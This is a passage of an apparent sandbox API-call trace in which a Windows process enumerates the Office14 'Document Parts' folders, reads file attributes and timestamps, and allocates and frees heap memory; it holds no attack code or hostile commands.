ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="")) returned 1 [0069.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.757] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.757] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.757] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.758] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.758] NtClose (Handle=0x198) returned 0x0 [0069.758] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.758] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0069.758] GetLastError () returned 0x12 [0069.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.758] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.759] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.759] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.759] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.759] NtClose (Handle=0x198) returned 0x0 [0069.759] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.759] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079208 [0069.760] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0069.760] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0069.760] GetLastError () returned 0x12 [0069.760] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.760] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0069.760] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079310 [0069.760] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.760] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079418 [0069.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.761] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.761] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.761] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.761] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.761] NtClose (Handle=0x198) returned 0x0 [0069.761] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079418) returned 1 [0069.761] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.761] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.761] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079418 [0069.761] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.761] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079520 [0069.762] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d260 [0069.762] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.762] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 1 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.762] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.762] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079628 [0069.762] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f878 [0069.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079730 [0069.762] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.762] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 0 [0069.762] GetLastError () returned 0x12 [0069.762] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0069.763] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.763] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.763] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 1 [0069.763] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 0 [0069.763] GetLastError () returned 0x12 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079520) returned 1 [0069.763] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079628) returned 1 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079418) returned 1 [0069.763] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0069.763] GetLastError () returned 0x12 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079208) returned 1 [0069.763] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1079310) returned 1 [0069.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.763] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0069.763] GetLastError () returned 0x12 [0069.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.764] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | 